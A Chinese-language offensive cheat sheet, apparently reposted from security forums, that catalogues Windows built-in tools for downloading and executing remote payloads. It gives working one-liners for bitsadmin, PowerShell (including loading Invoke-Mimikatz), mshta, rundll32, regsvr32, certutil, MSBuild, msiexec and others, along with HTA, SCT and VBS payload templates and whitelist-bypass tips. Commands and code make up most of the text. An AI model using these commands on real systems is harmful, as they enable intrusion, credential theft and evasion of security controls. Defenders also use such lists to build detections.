近期,攻击者使用DDE执行任意命令行工具并入侵系统的情况开始增加,而这似乎也成为了近期的一种趋势。但是,除了PowerShell之外,还有哪些炫酷的命令行工具是攻击者可以选择使用的呢?

场景前言

首先,这些命令行工具需要满足以下条件:

1、允许执行任意代码;
2、支持从远程服务器下载Payload;
3.、支持代理;
4、支持尽可能多的Microsoft标准(或使用广泛的)代码库;
5、只会在内存中执行,而不会在磁盘中留下痕迹;

实际上,前人已经在这个领域做出了很多的努力。尤其是@subTee,他不仅设计出了应用程序白名单绕过技术,而且他还发明了使用Microsoft内置代码库来执行任意代码的方法。

需要注意的是,并非所有的命令行工具都满足上述所有的条件,尤其是上面的第五点,因为在绝大多数情况下,工具都会在目标系统的本地磁盘中下载Payload或其他恶意文件。

如果考虑到需要从远程服务器下载Payload文件的话,一般只有下面这三种可能的情况:

1、命令本身可以接受一个HTTP URL作为其中一个参数;

2、命令接受一个UNC路径(指向一台WebDAV服务器);

3、命令能够执行一个小型的内联脚本(脚本负责完成下载任务);

根据Windows系统版本的不同(Win 7或Win 10),系统会将那些通过HTTP下载的对象存储在不同的IE本地缓存之中:

C:\Users\<username>\AppData\Local\Microsoft\Windows\TemporaryInternet Files\
C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>

而通过UNC路径(指向一台WebDAV服务器)访问的文件将会被存储在WebDAV客户端本地缓存之中:

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

在使用UNC路径指向一台托管了Payload的WebDAV服务器时,请记住一点:只有当WebClient服务开启之后该功能才能正常工作。假设该服务没有开启,那么如果你想使用低权限用户角色来开启该服务的话,可以直接在命令行界面中使用命令“pushd \\webdavserver & popd”。

在下面给出的场景中,我们将会给大家介绍几种热门命令行工具的使用以及注意事项。

1.bitsadmin命令(只能命令下载到指定路径上,win7以上):

bitsadmin /transfer myDownLoadJob /download /priority normal "http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg" "d:\abc.jpg"
bitsadmin /transfer d90f <http://site.com/a> %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe

2.powershell命名下载执行:(win7以上)

powershell IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1>'); Invoke-Mimikatz
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.168.183/1.exe’,’C:\111111111111111.exe')
powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg','d:\\1.jpg')

3.mshta命令下载执行

实际上,Mshta跟cscript/wscript是一类的,但是它还可以执行内联脚本,我们可以通过内联脚本来下载并执行Payload代码,

由于mshta还可以接受URL地址作为参数并执行HTA文件,因此我们还可以使用下面这种小技巧来执行命令。

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

mshta http://webserver/payload.hta

mshta \\webdavserver\folder\payload.hta

其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。

payload.hta

<HTML> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<HEAD> 

<script language="VBScript">

Window.ReSizeTo 0, 0

Window.moveTo -2000,-2000

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "calc.exe"

self.close

</script>

<body>

demo

</body>

</HEAD> 

</HTML>

4.rundll32命令下载执行

 

rundll32 \\webdavserver\folder\payload.dll,entrypoint

在上述命令中,负责执行网络调用的是mshta.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。Rundll32还可以用来调用某些内联脚本:

rundll32.exe  javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

参考:https://github.com/3gstudent/Javascript-Backdoor

5.net中的regasm命令下载执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

6.cmd的远程命令下载:

当你想使用cmd.exe运行一个批处理文件时,为什么情况会变得很复杂呢?尤其是当你的批处理文件不仅会执行一系列命令,而且还嵌入了任意类型文件的时候。大家可以参考一下我自己开发的Invoke-EmbedInBatch.ps1脚本(受到了@xorrior的启发),它可以帮助你轻松地在目标主机中释放任何代码、dll、以及脚本:

https://github.com/Arno0x/PowerShellScripts
cmd.exe /k < \webdavserver\folder\batchfile.txt

7.regsvr32命令下载执行

这种技术也是@subTee发明的,它需要的脚本跟mshta所使用的有些许不同。首选方法如下:

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

负责执行网络调用的是regsvr32.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。

其次,我们还可以使用UNC/WebDAV:

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

regsvr32 /u /s /i:<http://site.com/js.png> scrobj.dll

其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。

js.png

<?XML version="1.0"?>

<scriptlet>

<registration

​    progid="ShortJSRAT"

​    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >

​    <!-- Learn from Casey Smith @subTee -->

​    <script language="JScript">

​        <![CDATA[

​            ps  = "cmd.exe /c calc.exe";

​            new ActiveXObject("WScript.Shell").Run(ps,0,true);



​        ]]>

</script>

</registration>

</scriptlet>

8.certutil命令下载执行

整个Payload下载部分我们都可以通过certutil.exe来完成:

certutil -urlcache -split -f http://webserver/payload payload

除此之外,我们还可以用certutil.exe配合InstallUtil.exe来执行特殊的DLL:

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

当然了,你也可以直接传递一个可执行文件:

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

certutil -urlcache -split -f http://site.com/a a.exe && a.exe &&  del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete

9.net中的MSBulid命令下载执行

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

10. odbcconf命令下载执行

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

11.cscript脚本远程命令下载执行

cscript //E:jscript \\webdavserver\folder\payload.txt

downfile.vbs:

' Set your settings

strFileURL = "http://www.it1.net/images/it1_logo2.jpg"

strHDLocation = "c:\logo.jpg"

' Fetch the file

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")

objXMLHTTP.open "GET", strFileURL, false

objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject("ADODB.Stream")

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary

objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0'Set the stream position to the start

Set objFSO = Createobject("Scripting.FileSystemObject")

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing

objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing

将以上保存为downfile.vbs

输入命令:cscript downfile.vbs

12.pubprn.vbs下载执行命令

cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:<https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct>

13.windows自带命令copy

copy \x.x.x.x\xx\poc.exe

xcopy d:\test.exe \x.x.x.x\test.exe

14. IEXPLORE.EXE命令下载执行(需要IE存在oday)

"C:\Program Files\Internet Explorer\IEXPLORE.EXE" <http://site.com/exp>

15.IEEXC命令下载执行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\> caspol -s off

C:\Windows\Microsoft.NET\Framework\v2.0.50727\> IEExec <http://site.com/files/test64.exe>

参考:https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

16. msiexec命令下载执行

msiexec /q /i <http://site.com/payloads/calc.png>

17.下载命令执行项目GreatSCT

<https://github.com/GreatSCT/>

 

Payload样本

你可以从atomic-red-team的GitHub代码库中获取可用的Payload样本:

GitHub地址:https://github.com/redcanaryco/atomic-red-team

除此之外,你也可以从GreatSCT项目的GitHub中获取自动生成的Payload:

GitHub地址:https://github.com/GreatSCT/GreatSCT

当然了,我自己的Gist【传送门】中也托管了不少的Payload样本,感兴趣的同学可以参考一下。

转载来源:

  • https://xz.aliyun.com/t/1654#toc-12
  • https://www.freebuf.com/articles/system/155147.html